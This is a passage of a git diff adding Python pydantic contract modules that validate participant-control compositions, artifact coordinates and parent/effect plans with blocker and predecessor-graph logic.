result for result in results} + supported = {item.instance_id: item for item in support} + causes: set[str] = set() + for blocker in blockers: + prefix, _, identity = blocker.partition(":") + if prefix in {"slot", "dependency"}: + causes |= _slot_causes(request.selection, indexed, identity) + elif prefix == "support": + causes.add(_support_cause(supported[identity])) + elif prefix == "predecessor": + # A required predecessor withholds its parent until it is realized. + causes.add("withhold") + elif blocker == "effect-conflict": + causes.add("conflict") + elif blocker == "incumbent-gates": + causes.add(_UNSATISFIED_STATUS.get(incumbent_gate_disposition, incumbent_gate_disposition)) + return next((item for item in _DISPOSITION_PRECEDENCE if item in causes), "failed") + + +def _support_blockers( + request: ParticipantControlRequestModel, + support: Sequence[ControlEffectiveSupportModel], +) -> set[str]: + bindings = request.selection.bindings + index = {item.instance_id: item for item in support} + require_unique(tuple(item.instance_id for item in support)) + if index.keys() != {binding.instance_id for binding in bindings}: + raise ValueError("support must cover every selected instance exactly") + blockers = set() + for item in support: + if item.context_digest != control_digest(request.context): + raise ValueError("effective support is bound to a different context") + if item.status != "resolved" or item.effective_level != "exact": + blockers.add("support:" + item.instance_id) + return blockers + + +def _evaluation_blockers( + request: ParticipantControlRequestModel, + results: Sequence[ControlMechanismResultModel], + support: Sequence[ControlEffectiveSupportModel], + realizations: Sequence[ControlRealizationBindingModel], + incumbent_gate_disposition: str, +) -> set[str]: + blockers = ( + _result_blockers(request, results) + | _support_blockers(request, support) + | control_effect_blockers(request, results, realizations) + ) + if incumbent_gate_disposition != "permit": + blockers.add("incumbent-gates") + return blockers + + +def derive_control_composition( + request: ParticipantControlRequestModel, + results: Sequence[ControlMechanismResultModel], + support: Sequence[ControlEffectiveSupportModel], + realizations: Sequence[ControlRealizationBindingModel] = (), + *, + incumbent_gate_disposition: str, + incumbent_gate_evidence: ControlArtifactReferenceModel, +) -> ControlCompositionModel: + """Derive the exact MPC-05/MPC-06 composition for one resolved evaluation. + + This is the only supported way to build a ``ControlCompositionModel``: it + reuses the same blocker accounting ``validate_evaluation_structure`` checks, + so no consumer reproduces slot, dependency, support, effect-conflict or + disposition logic of its own. It composes recorded results; it neither + resolves a provider nor authorizes an effect. + """ + blockers = _evaluation_blockers(request, results, support, realizations, incumbent_gate_disposition) + return ControlCompositionModel( + rule_revision="sem-235/rev1", + disposition=_composition_disposition(request, results, support, blockers, incumbent_gate_disposition), + blockers=tuple(sorted(blockers)), + contributing_result_ids=contributing_result_ids(results), + incumbent_gate_disposition=incumbent_gate_disposition, + incumbent_gate_evidence=incumbent_gate_evidence, + ) + + +def validate_evaluation_structure(document: ParticipantControlEvaluationModel) -> None: + blockers = _evaluation_blockers( + document.request, + document.results, + document.support, + document.realizations, + document.composition.incumbent_gate_disposition, + ) + if document.composition.contributing_result_ids != contributing_result_ids(document.results): + raise ValueError("composition must preserve every contributor in canonical order") + if tuple(sorted(blockers)) != document.composition.blockers: + raise ValueError("composition must retain exactly every blocking reason") + # The disposition is the canonical cause of the blockers, not merely their + # presence: a stale mandatory result recorded as ``deny`` would misstate + # why composition failed. A parsed or persisted record carries the same + # guarantee as one derived at runtime. + canonical = _composition_disposition( + document.request, + document.results, + document.support, + blockers, + document.composition.incumbent_gate_disposition, + ) + if document.composition.disposition != canonical: + raise ValueError("composition disposition must be the canonical cause of its blockers") + + +PREDECESSOR_BLOCKER_PREFIX = "predecessor:" +SUBSEQUENT_PHASE = "subsequent" +REQUIRED_PREDECESSOR_PHASE = "required-predecessor" + + +def admitted_effect_phase(document: ParticipantControlEvaluationModel) -> str | None: + """Return the effect phase this composition admits, or ``None`` for none. + + PC-09: an eligible composition admits its subsequent effects. A composition + blocked only by required predecessors admits exactly those predecessors, + after which its parent is reevaluated at a fresh cut. Any other blocker — + a conflict, a stale cut, an unsupported or weakened mechanism, a denial — + admits nothing, so a requested effect from such an evaluation is a rejected + proposal and never an intent. One definition serves every consumer, so a + rejected proposal cannot be admitted by one index and refused by another. + """ + + blockers = set(document.composition.blockers) + if not blockers: + return SUBSEQUENT_PHASE + if all(blocker.startswith(PREDECESSOR_BLOCKER_PREFIX) for blocker in blockers): + return REQUIRED_PREDECESSOR_PHASE + return None + + +def admitted_effect_requests( + document: ParticipantControlEvaluationModel, +) -> tuple[ControlEffectRequestModel, ...]: + """Every effect request this composition actually admits, in record order.""" + + phase = admitted_effect_phase(document) + if phase is None: + return () + return tuple( + result.payload + for result in document.results + if isinstance(result.payload, ControlEffectRequestModel) and result.payload.phase == phase + ) + + +def parse_participant_control_evaluation(source: str | bytes) -> ParticipantControlEvaluationModel: + """Bound ingress and expose no rejected value in public parse failures.""" + try: + payload = parse_bounded_json_object(source, max_bytes=1_048_576, max_depth=32) + return ParticipantControlEvaluationModel.model_validate(payload) + except (TypeError, ValueError): + raise ValueError("invalid participant control evaluation") from None diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_composition_v2.py b/implementations/python/packages/raes_contracts/contracts/participant_control_composition_v2.py new file mode 100644 index 000000000..5e5ca70b4 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_composition_v2.py @@ -0,0 +1,235 @@ +"""Mandatory v2 participant-control composition and effect admission.""" + +from __future__ import annotations + +from typing import Literal, Self + +from pydantic import ConfigDict, model_validator + +from .base import ContractModel +from .participant_control_applicability import ParticipantControlRequestV2Model, control_digest +from .participant_control_coordinates import ControlRefs, require_unique +from .participant_control_decisions_v2 import ControlEffectPlanV2Model, base_parent_disposition_v2 +from .participant_control_invocation import ( + ControlLostAdviceV2Model, + ControlMechanismResultV2Model, + _satisfied, +) +from .participant_control_support_v2 import ControlSupportAssessmentV2Model + +_INPUT_PREFIX = "input:" + + +class ControlCompositionV2Model(ContractModel): + model_config = ConfigDict(frozen=True) + rule_revision: Literal["participant-control-applicability/rev1"] + disposition: Literal["eligible", "deny", "withhold", "unsupported", "stale", "weakened", "failed", "conflict"] + blockers: ControlRefs + contributing_result_ids: ControlRefs + lost_advice_slot_ids: ControlRefs + + @model_validator(mode="after") + def _canonical(self) -> Self: + for values in (self.blockers, self.contributing_result_ids, self.lost_advice_slot_ids): + if values != tuple(sorted(set(values))): + raise ValueError("composition evidence must be canonical and unique") + return self + + +def _required_support_keys(request: ParticipantControlRequestV2Model) -> set[tuple[str, str]]: + slots = {slot.slot_id: slot for slot in request.selection.slots} + roots: set[str] = set() + required: set[tuple[str, str]] = set() + for item in request.applicability.coverage: + if item.status != "applies": + continue + for slot_id in item.slot_ids: + roots.add(slot_id) + required.add((item.obligation_id, slots[slot_id].instance_id)) + for slot_id in request.applicability.required_slot_ids: + if slot_id not in roots: + required.add((_INPUT_PREFIX + slot_id, slots[slot_id].instance_id)) + return required + + +def derive_control_composition_v2( + request: ParticipantControlRequestV2Model, + results: tuple[ControlMechanismResultV2Model, ...] | list[ControlMechanismResultV2Model | dict], + support: tuple[ControlSupportAssessmentV2Model, ...] | list[ControlSupportAssessmentV2Model | dict], + lost_advice: tuple[ControlLostAdviceV2Model, ...] | list[ControlLostAdviceV2Model | dict], + effect_plan: ControlEffectPlanV2Model, +) -> ControlCompositionV2Model: + """One canonical summary of mandatory availability and parent decisions.""" + + results = tuple(ControlMechanismResultV2Model.model_validate(item) for item in results) + support = tuple(ControlSupportAssessmentV2Model.model_validate(item) for item in support) + lost_advice = tuple(ControlLostAdviceV2Model.model_validate(item) for item in lost_advice) + require_unique(tuple(item.slot_id for item in results)) + require_unique(tuple((item.obligation_id, item.instance_id) for item in support)) + require_unique(tuple(item.slot_id for item in lost_advice)) + if {(item.obligation_id, item.instance_id) for item in support} != _required_support_keys(request): + raise ValueError("participant control required support coverage is incomplete") + _validate_support_bindings(request, support) + failed_optional = _validate_lost_advice(request, results, lost_advice) + blockers, causes = _composition_causes(request, results, support, effect_plan) + disposition = next( + ( + item + for item in ("conflict", "stale", "unsupported", "weakened", "deny", "withhold", "failed") + if item in causes + ), + "eligible", + ) + return ControlCompositionV2Model( + rule_revision="participant-control-applicability/rev1", + disposition=disposition, + blockers=tuple(sorted(blockers)), + contributing_result_ids=tuple(sorted(item.result_id for item in results)), + lost_advice_slot_ids=tuple(sorted(failed_optional)), + ) + + +def _validate_support_bindings( + request: ParticipantControlRequestV2Model, support: tuple[ControlSupportAssessmentV2Model, ...] +) -> None: + cut_digest = control_digest(request.context) + obligations = {item.obligation_id: item for item in request.selection.obligations} + for item in support: + if item.effective_support.context_digest != cut_digest: + raise ValueError("participant control support uses a different state cut") + obligation = obligations.get(item.obligation_id) + if obligation is not None and ( + item.required_strength != obligation.required_strength + or item.required_constraints != obligation.constraints + ): + raise ValueError("participant control support differs from the admitted obligation") + if item.obligation_id.startswith(_INPUT_PREFIX): + slot = next( + (slot for slot in request.selection.slots if _INPUT_PREFIX + slot.slot_id == item.obligation_id), None + ) + if slot is None or (item.required_strength, item.required_constraints) != ( + slot.required_strength, + slot.constraints, + ): + raise ValueError("participant control support differs from the admitted input pin") + + +def _validate_lost_advice( + request: ParticipantControlRequestV2Model, + results: tuple[ControlMechanismResultV2Model, ...], + lost_advice: tuple[ControlLostAdviceV2Model, ...], +) -> set[str]: + required_slots = set(request.applicability.required_slot_ids) + failed_optional = {item.slot_id for item in results if item.slot_id not in required_slots and not _satisfied(item)} + if {item.slot_id for item in lost_advice} != failed_optional: + raise ValueError("optional failure must have exactly one safe lost-advice record") + by_slot = {item.slot_id: item for item in results} + for item in lost_advice: + result = by_slot[item.slot_id] + if result.next_provider_state is not None or result.payload is not None: + raise ValueError("discarded optional contribution cannot carry state or effect payload") + return failed_optional + + +def _composition_causes( + request: ParticipantControlRequestV2Model, + results: tuple[ControlMechanismResultV2Model, ...], + support: tuple[ControlSupportAssessmentV2Model, ...], + effect_plan: ControlEffectPlanV2Model, +) -> tuple[set[str], set[str]]: + blockers: set[str] = set() + causes: set[str] = set() + for coverage in request.applicability.coverage: + if coverage.status == "unresolved": + blockers.add("coverage:" + coverage.obligation_id) + causes.add("withhold") + _required_result_causes(request, results, blockers, causes) + _support_causes(support, blockers, causes) + if effect_plan.parent_disposition != "permit": + blockers.add("parent:" + effect_plan.parent_disposition) + causes.add(effect_plan.parent_disposition) + return blockers, causes + + +def _complete_refusal(result: ControlMechanismResultV2Model) -> bool: + return ( + result.status == "resolved" + and result.payload is not None + and result.payload.kind == "decision" + and result.payload.disposition in {"deny", "withhold"} + ) + + +def _required_result_causes( + request: ParticipantControlRequestV2Model, + results: tuple[ControlMechanismResultV2Model, ...], + blockers: set[str], + causes: set[str], +) -> None: + by_slot = {item.slot_id: item for item in results} + required_slots = set(request.applicability.required_slot_ids) + for slot_id in required_slots: + result = by_slot[slot_id] + if _satisfied(result) or _complete_refusal(result): + continue + blockers.add("slot:" + slot_id) + causes.add(_required_result_cause(result)) + + +def _required_result_cause(result: ControlMechanismResultV2Model) -> str: + if result.status in {"stale", "unsupported", "weakened"}: + return result.status + if result.payload is not None and result.payload.kind == "decision": + return result.payload.disposition if result.payload.disposition != "abstain" else "failed" + return "failed" + + +def _support_causes(support: tuple[ControlSupportAssessmentV2Model, ...], blockers: set[str], causes: set[str]) -> None: + for item in support: + if not item.satisfied: + blockers.add("support:" + item.obligation_id + ":" + item.instance_id) + causes.add(_support_cause(item)) + + +def _support_cause(item: ControlSupportAssessmentV2Model) -> str: + observed = item.effective_support + if observed.status in {"stale", "unsupported", "weakened"}: + cause = observed.status + elif observed.effective_level == "unsupported": + cause = "unsupported" + elif observed.status == "resolved": + cause = "weakened" + else: + cause = "failed" + return cause + + +def admitted_control_effect_ids_v2( + composition: ControlCompositionV2Model, plan: ControlEffectPlanV2Model +) -> frozenset[str]: + """Join decision-local effect readiness to mandatory composition.""" + + if composition.disposition == "eligible" and plan.parent_disposition == "permit": + return frozenset(plan.runnable_effect_ids) + if set(composition.blockers) != {"parent:" + plan.parent_disposition}: + return frozenset() + base = base_parent_disposition_v2(plan.decisions, plan.incumbent_gate_disposition) + if plan.parent_disposition == "withhold" and base == "permit": + admitted = _runnable_effects_in_phase(plan, "required-predecessor") + elif base in {"deny", "withhold"} and plan.parent_disposition == base: + admitted = frozenset( + item.effect_id + for item in plan.effects + if item.phase == "independent" + and base in item.allowed_parent_dispositions + and item.effect_id in plan.runnable_effect_ids + ) + else: + admitted = frozenset() + return admitted + + +def _runnable_effects_in_phase(plan: ControlEffectPlanV2Model, phase: str) -> frozenset[str]: + return frozenset( + item.effect_id for item in plan.effects if item.phase == phase and item.effect_id in plan.runnable_effect_ids + ) diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py b/implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py new file mode 100644 index 000000000..f680f0462 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py @@ -0,0 +1,246 @@ +"""Immutable API-424 coordinates; references never load executable code.""" + +from __future__ import annotations + +from collections.abc import Hashable, Sequence +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, StrictInt, model_validator + +from .base import ContractModel, NonEmptyString, PrefixedDigestString +from .participant_crossing import ParticipantCrossingPolicyReferenceModel, ParticipantCrossingSubjectReferenceModel +from .participant_decision_state_cut import ( + ParticipantDecisionSurfaceCausalCutModel, + ParticipantDecisionSurfaceSequenceCutModel, +) + +ControlRef = Annotated[NonEmptyString, Field(max_length=256, pattern=r"^[A-Za-z0-9][A-Za-z0-9._:/@-]*$")] +ControlCount = Annotated[StrictInt, Field(ge=0, le=1_000_000)] +ControlRefs = Annotated[tuple[ControlRef, ...], Field(max_length=256)] +ResultKind = Literal["ifc-fact", "decision", "advisory", "effect-request"] +ResolutionStatus = Literal["resolved", "missing", "unknown", "unsupported", "stale", "failed", "weakened"] + + +class ControlArtifactReferenceModel(ContractModel): + """Exact out-of-line artifact coordinate, not an artifact/evidence payload.""" + + model_config = ConfigDict(frozen=True) + kind: Literal[ + "profile", + "mechanism", + "implementation", + "authority", + "evidence", + "limitation", + "memory", + "apparatus", + "run", + "crossing", + "history", + "provider-state", + "input", + "clock", + "trigger", + "rule", + "inject-delivery", + "disclosure", + "manifest", + "installation", + "control", + "transformation", + "action", + "lifecycle", + "audit", + "receipt", + "projection", + "policy", + "constraint", + "flow-relation", + ] + ref: ControlRef + revision: ControlRef + digest: PrefixedDigestString + + +Artifacts = Annotated[tuple[ControlArtifactReferenceModel, ...], Field(max_length=256)] +Evidence = Annotated[tuple[ControlArtifactReferenceModel, ...], Field(min_length=1, max_length=256)] + + +def require_kind(reference: ControlArtifactReferenceModel, kind: str) -> None: + if reference.kind != kind: + raise ValueError("participant control reference has the wrong owning kind") + + +def require_unique(values: Sequence[Hashable], label: str = "participant control identities") -> None: + if len(values) != len(set(values)): + raise ValueError(label + " must be unique") + + +class ControlSubjectReferenceModel(ParticipantCrossingSubjectReferenceModel): + """Frozen specialization of the incumbent crossing subject coordinate. + + The incumbent requires a revision *or* a digest, and a live runtime subject + is frequently digest-only. Narrowing ``subject_revision`` to mandatory would + make the crossing occurrence this context names inexpressible, so the + specialization bounds the coordinate without adding a requirement the owner + does not impose. + """ + + model_config = ConfigDict(frozen=True) + contract_id: ControlRef + subject_ref: ControlRef + subject_revision: ControlRef | None = None + participant_address: ControlRef + episode_id: ControlRef + + +class ControlPolicyReferenceModel(ParticipantCrossingPolicyReferenceModel): + model_config = ConfigDict(frozen=True) + policy_id: ControlRef + policy_revision: ControlRef + policy_decision_ref: ControlRef + decision_cut_ref: ControlRef + effective_order: ControlCount + valid_from_order: ControlCount + valid_until_order: ControlCount + + +class ControlSequenceCutModel(ParticipantDecisionSurfaceSequenceCutModel): + model_config = ConfigDict(frozen=True) + cut_ref: ControlRef + anchor_event_ref: ControlRef + anchor_order: ControlCount + history_prefix_length: Annotated[StrictInt, Field(ge=1, le=1_000_001)] + predecessor_event_refs: ControlRefs = () + + +class ControlCausalCutModel(ParticipantDecisionSurfaceCausalCutModel): + model_config = ConfigDict(frozen=True) + cut_ref: ControlRef + history_domain: ControlRef + predecessor_closure_ref: ControlRef + frontier_event_refs: Annotated[tuple[ControlRef, ...], Field(min_length=1, max_length=256)] + + +ControlCut = Annotated[ControlSequenceCutModel | ControlCausalCutModel, Field(discriminator="cut_kind")] + + +class ControlProviderStateModel(ContractModel): + model_config = ConfigDict(frozen=True) + instance_id: ControlRef + state: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _owner(self) -> Self: + require_kind(self.state, "provider-state") + return self + + +class ControlRuleFiringsModel(ContractModel): + model_config = ConfigDict(frozen=True) + rule_id: ControlRef + rule_revision: ControlRef + firing_epochs: ControlRefs + + @model_validator(mode="after") + def _epochs(self) -> Self: + require_unique(self.firing_epochs) + return self + + +class ControlLogicalEffectKeyModel(ContractModel): + model_config = ConfigDict(frozen=True) + run_ref: ControlRef + trigger_root: ControlRef + rule_id: ControlRef + rule_revision: ControlRef + slot: ControlRef + firing_epoch: ControlRef + + +class ControlPriorEffectClaimModel(ContractModel): + """A retained logical claim, authenticated through the admitted context.""" + + model_config = ConfigDict(frozen=True) + effect_id: ControlRef + key: ControlLogicalEffectKeyModel + content_digest: PrefixedDigestString + + +class ParticipantControlContextModel(ContractModel): + """MPC-03 exact context. No private state, prompt, or native handle.""" + + model_config = ConfigDict(frozen=True) + run: ControlArtifactReferenceModel + apparatus: ControlArtifactReferenceModel + participant_address: ControlRef + episode_id: ControlRef + subject: ControlSubjectReferenceModel + crossing: ControlArtifactReferenceModel + direction: Literal["ingress", "egress"] + sink_ref: ControlRef + audience_ref: ControlRef + destination_ref: ControlRef + controller_ref: ControlRef + authority: ControlArtifactReferenceModel + policy: ControlPolicyReferenceModel + state_cut: ControlCut + expected_history_heads: Evidence + provider_states: Annotated[tuple[ControlProviderStateModel, ...], Field(max_length=64)] + inputs: Artifacts + memory_scope: ControlArtifactReferenceModel + clock: ControlArtifactReferenceModel + order: ControlCount + phase_ref: ControlRef + trigger_root: ControlRef + trigger: ControlArtifactReferenceModel + predecessors: Artifacts + depth: ControlCount + effects_consumed: ControlCount + prior_effect_claims: Annotated[tuple[ControlPriorEffectClaimModel, ...], Field(max_length=256)] + rule_firings: Annotated[tuple[ControlRuleFiringsModel, ...], Field(max_length=256)] + attempt: Annotated[StrictInt, Field(ge=1, le=1_000_000)] + + @model_validator(mode="after") + def _coordinates(self) -> Self: + for name, kind in ( + ("run", "run"), + ("apparatus", "apparatus"), + ("crossing", "crossing"), + ("authority", "authority"), + ("memory_scope", "memory"), + ("clock", "clock"), + ("trigger", "trigger"), + ): + require_kind(getattr(self, name), kind) + if (self.subject.participant_address, self.subject.episode_id) != (self.participant_address, self.episode_id): + raise ValueError("participant control subject scope differs from context") + if self.policy.decision_cut_ref != self.state_cut.cut_ref: + raise ValueError("participant control policy and state cut differ") + if ( + not self.policy.valid_from_order + <= self.policy.effective_order + <= self.order + <= self.policy.valid_until_order + ): + raise ValueError("participant control policy is outside its admitted order") + require_unique(tuple(state.instance_id for state in self.provider_states)) + self._retained_claims() + for name in ("expected_history_heads", "inputs", "predecessors"): + require_unique(getattr(self, name)) + for head in self.expected_history_heads: + require_kind(head, "history") + return self + + def _retained_claims(self) -> None: + require_unique(tuple((state.rule_id, state.rule_revision) for state in self.rule_firings)) + require_unique(tuple(claim.effect_id for claim in self.prior_effect_claims)) + require_unique(tuple(claim.key for claim in self.prior_effect_claims)) + if len(self.prior_effect_claims) > self.effects_consumed: + raise ValueError("prior effect claims exceed retained consumption") + epochs = {(state.rule_id, state.rule_revision): set(state.firing_epochs) for state in self.rule_firings} + for claim in self.prior_effect_claims: + if (claim.key.run_ref, claim.key.trigger_root) != (self.run.ref, self.trigger_root): + raise ValueError("prior effect claim has a different causal root") + if claim.key.firing_epoch not in epochs.get((claim.key.rule_id, claim.key.rule_revision), set()): + raise ValueError("prior effect claim is missing its retained firing epoch") diff --git a/implementations/python/packages/raes_contracts/contracts/participant_control_decisions_v2.py b/implementations/python/packages/raes_contracts/contracts/participant_control_decisions_v2.py new file mode 100644 index 000000000..d2be88fdd --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/participant_control_decisions_v2.py @@ -0,0 +1,317 @@ +"""Unscheduled parent decisions and executable effect plans for API-424/v2.""" + +from __future__ import annotations + +from graphlib import CycleError, TopologicalSorter +from typing import Annotated, Literal, NotRequired, Self, TypedDict, Unpack + +from pydantic import ConfigDict, Field, model_validator + +from .base import ContractModel +from .participant_control_coordinates import ( + ControlArtifactReferenceModel, + ControlRef, + ControlRefs, + Evidence, + require_kind, + require_unique, +) +from .participant_control_effect_composition import _effect_subject, _same_subject_conflicts +from .participant_control_effects import ( + ControlAuditEffectModel, + ControlDelayEffectModel, + ControlEffectRequestModel, + ControlHandoffEffectModel, + ControlInjectEffectModel, + ControlLifecycleEffectModel, + ControlReviewEffectModel, + ControlTransformationEffectModel, +) +from .participant_control_results import ControlRealizationBindingModel + +ControlExecutableEffectTargetV2 = Annotated[ + ControlTransformationEffectModel + | ControlInjectEffectModel + | ControlDelayEffectModel + | ControlHandoffEffectModel + | ControlReviewEffectModel + | ControlLifecycleEffectModel + | ControlAuditEffectModel, + Field(discriminator="kind"), +] + +_PARENT_ADMITTED = "@parent-admitted" + + +class _EffectPlanOptions(TypedDict): + parent_admission_receipt: NotRequired[ControlArtifactReferenceModel | dict | None] + parent_application_receipt: NotRequired[ControlArtifactReferenceModel | dict | None] + effect_outcomes: NotRequired[ + tuple[ControlRealizationBindingModel, ...] | list[ControlRealizationBindingModel | dict] + ] + + +class ControlParentDecisionV2Model(ContractModel): + """A decision about the exact parent, never a scheduled operation.""" + + model_config = ConfigDict(frozen=True) + decision_id: ControlRef + disposition: Literal["permit", "deny", "withhold"] + rule: ControlArtifactReferenceModel + reasons: Evidence + + @model_validator(mode="after") + def _rule(self) -> Self: + require_kind(self.rule, "rule") + return self + + +class ControlEffectRequestV2Model(ControlEffectRequestModel): + """An exact owned effect with declared parent outcome prerequisites.""" + + phase: Literal["required-predecessor", "success-dependent", "independent"] + target: ControlExecutableEffectTargetV2 + parent_outcome: Literal["none", "admitted", "applied"] + allowed_parent_dispositions: ControlRefs + originating_principal_ref: ControlRef + trigger: ControlArtifactReferenceModel + + @model_validator(mode="after") + def _phase(self) -> Self: + require_kind(self.trigger, "trigger") + require_unique(self.allowed_parent_dispositions) + if any(item not in {"permit", "deny", "withhold"} for item in self.allowed_parent_dispositions): + raise ValueError("independent consequence has an unknown parent disposition") + _validate_effect_phase(self) + return self + + +def _validate_effect_phase(effect: ControlEffectRequestV2Model) -> None: + if effect.phase == "required-predecessor" and ( + effect.parent_outcome != "none" or effect.allowed_parent_dispositions + ): + raise ValueError("required predecessor cannot await its own parent outcome") + if effect.phase == "success-dependent" and (effect.parent_outcome == "none" or effect.allowed_parent_dispositions): + raise ValueError("success-dependent consequence needs an exact parent outcome") + if effect.phase == "independent" and (effect.parent_outcome != "none" or not effect.allowed_parent_dispositions): + raise ValueError("independent consequence needs allowed parent dispositions") + + +def base_parent_disposition_v2( + decisions: tuple[ControlParentDecisionV2Model, ...], incumbent_gate_disposition: str +) -> str: + """The actual parent decision before required effects defer release.""" + + dispositions = {item.disposition for item in decisions} + if "deny" in dispositions or incumbent_gate_disposition == "deny": + return "deny" + if "withhold" in dispositions or incumbent_gate_disposition != "permit": + return "withhold" + return "permit" + + +def _decision_and_runnable( + decisions: tuple[ControlParentDecisionV2Model, ...], + effects: tuple[ControlEffectRequestV2Model, ...], + incumbent_gate_disposition: str, + realized_effect_ids: tuple[str, ...], + parent_applied: bool, + parent_admission_receipt: ControlArtifactReferenceModel | None, + parent_application_receipt: ControlArtifactReferenceModel | None, +) -> tuple[str, tuple[str, ...]]: + require_unique(tuple(item.decision_id for item in decisions)) + require_unique(tuple(item.effect_id for item in effects)) + require_unique(tuple(item.key for item in effects)) + require_unique(realized_effect_ids) + _validate_parent_receipts(parent_applied, parent_admission_receipt, parent_application_receipt) + _validate_realized_effects(effects, realized_effect_ids) + graph = _effect_graph(effects) + _validate_effect_conflicts(effects) + base = base_parent_disposition_v2(decisions, incumbent_gate_disposition) + pending = graph[_PARENT_ADMITTED] - set(realized_effect_ids) + final = "withhold" if base == "permit" and pending else base + runnable = tuple( + sorted( + item.effect_id + for item in effects + if _effect_is_runnable( + item, realized_effect_ids, base, final, pending, parent_applied, parent_admission_receipt + ) + ) + ) + return final, runnable + + +def _validate_parent_receipts( + parent_applied: bool, + parent_admission_receipt: ControlArtifactReferenceModel | None, + parent_application_receipt: ControlArtifactReferenceModel | None, +) -> None: + if parent_applied and parent_application_receipt is None: + raise ValueError("applied parent requires an exact owner receipt") + if parent_applied and parent_admission_receipt is None: + raise ValueError("applied parent requires its admission receipt") + if not parent_applied and parent_application_receipt is not None: + raise ValueError("parent application receipt and disposition differ") + for receipt in (parent_admission_receipt, parent_application_receipt): + if receipt is not None: + require_kind(receipt, "receipt") + + +def _validate_realized_effects( + effects: tuple[ControlEffectRequestV2Model, ...], realized_effect_ids: tuple[str, ...] +) -> None: + by_id = {item.effect_id: item for item in effects} + if not set(realized_effect_ids) <= by_id.keys(): + raise ValueError("realized effect is absent from the plan") + if any( + not set(by_id[effect_id].predecessor_effect_ids) <= set(realized_effect_ids) + for effect_id in realized_effect_ids + ): + raise ValueError("realized effect lacks an applied predecessor") + + +def _effect_graph(effects: tuple[ControlEffectRequestV2Model, ...]) -> dict[str, set[str]]: + graph: dict[str, set[str]] = {item.effect_id: set(item.predecessor_effect_ids) for item in effects} + graph[_PARENT_ADMITTED] = {item.effect_id for item in effects if item.phase == "required-predecessor"} + graph["@parent-applied"] = {_PARENT_ADMITTED} + for item in effects: + if item.phase == "success-dependent": + graph[item.effect_id].add("@parent-" + item.parent_outcome) + if any(dependencies - graph.keys() for dependencies in graph.values()): + raise ValueError("effect predecessor is unresolved") + try: + tuple(TopologicalSorter(graph).static_order()) + except CycleError: + raise ValueError("combined parent/effect prerequisite cycle") from None + return graph + + +def _validate_effect_conflicts(effects: tuple[ControlEffectRequestV2Model, ...]) -> None: + for index, left in enumerate(effects): + for right in effects[index + 1 :]: + if _effect_subject(left.target) != _effect_subject(right.target): + continue + if _same_subject_conflicts(left.target, right.target): + raise ValueError("effect target conflict cannot be repaired by ordering") + + +def _success_dependent_ready( + item: ControlEffectRequestV2Model, + parent_applied: bool, + parent_admission_receipt: ControlArtifactReferenceModel | None, +) -> bool: + return (item.parent_outcome == "admitted" and parent_admission_receipt is not None) or ( + item.parent_outcome == "applied" and parent_applied + ) + + +def _effect_is_runnable( + item: ControlEffectRequestV2Model, + realized_effect_ids: tuple[str, ...], + base: str, + final: str, + pending: set[str], + parent_applied: bool, + parent_admission_receipt: ControlArtifactReferenceModel | None, +) -> bool: + if item.effect_id in realized_effect_ids or not set(item.predecessor_effect_ids) <= set(realized_effect_ids): + runnable = False + elif item.phase == "required-predecessor": + runnable = base == "permit" + elif item.phase == "success-dependent": + runnable = ( + base == "permit" + and not pending + and _success_dependent_ready(item, parent_applied, parent_admission_receipt) + ) + else: + runnable = item.phase == "independent" and final in item.allowed_parent_dispositions + return runnable + + +class ControlEffectPlanV2Model(ContractModel): + model_config = ConfigDict(frozen=True) + parent_crossing: ControlArtifactReferenceModel + decisions: Annotated[tuple[ControlParentDecisionV2Model, ...], Field(max_length=256)] + effects: Annotated[tuple[ControlEffectRequestV2Model, ...], Field(max_length=256)] + incumbent_gate_disposition: Literal["permit", "deny", "withhold", "unsupported", "stale", "failed"] + realized_effect_ids: ControlRefs + parent_applied: bool + parent_admission_receipt: ControlArtifactReferenceModel | None = None + parent_application_receipt: ControlArtifactReferenceModel | None = None + effect_outcomes: Annotated[tuple[ControlRealizationBindingModel, ...], Field(max_length=256)] = () + parent_disposition: Literal["permit", "deny", "withhold"] + runnable_effect_ids: ControlRefs + + @model_validator(mode="after") + def _derived(self) -> Self: + require_kind(self.parent_crossing, "crossing") + require_unique(tuple(item.effect_id for item in self.effect_outcomes)) + if {item.effect_id for item in self.effect_outcomes} - {item.effect_id for item in self.effects}: + raise ValueError("effect outcome names an absent request") + if {item.effect_id for item in self.effect_outcomes if item.disposition == "applied"} != set( + self.realized_effect_ids + ): + raise ValueError("realized effect lacks an exact applied owner receipt") + expected = _decision_and_runnable( + self.decisions, + self.effects, + self.incumbent_gate_disposition, + self.realized_effect_ids, + self.parent_applied, + self.parent_admission_receipt, + self.parent_application_receipt, + ) + if (self.parent_disposition, self.runnable_effect_ids) != expected: + raise ValueError("parent/effect plan differs from the derived decision") + return self + + +def derive_control_effect_plan_v2( + *, + parent_crossing: ControlArtifactReferenceModel | dict, + decisions: tuple[ControlParentDecisionV2Model, ...] | list[ControlParentDecisionV2Model | dict], + effects: tuple[ControlEffectRequestV2Model, ...] | list[ControlEffectRequestV2Model | dict], + incumbent_gate_disposition: str, + realized_effect_ids: tuple[str, ...], + parent_applied: bool, + **options: Unpack[_EffectPlanOptions], +) -> ControlEffectPlanV2Model: + """Derive the recorded plan without dispatching or claiming realization.""" + + decisions = tuple(ControlParentDecisionV2Model.model_validate(item) for item in decisions) + effects = tuple(ControlEffectRequestV2Model.model_validate(item) for item in effects) + admission_receipt = options.get("parent_admission_receipt") + application_receipt = options.get("parent_application_receipt") + parent_admission_receipt = ( + ControlArtifactReferenceModel.model_validate(admission_receipt) if admission_receipt is not None else None + ) + parent_application_receipt = ( + ControlArtifactReferenceModel.model_validate(application_receipt) if application_receipt is not None else None + ) + effect_outcomes = tuple( + ControlRealizationBindingModel.model_validate(item) for item in options.get("effect_outcomes", ()) + ) + final, runnable = _decision_and_runnable( + decisions, + effects, + incumbent_gate_disposition, + realized_effect_ids, + parent_applied, + parent_admission_receipt, + parent_application_receipt, + ) + return ControlEffectPlanV2Model( + parent_crossing=parent_crossing, + decisions=decisions, + effects=effects, + incumbent_gate_disposition=incumbent_gate_disposition, + realized_effect_ids=realized_effect_ids, + 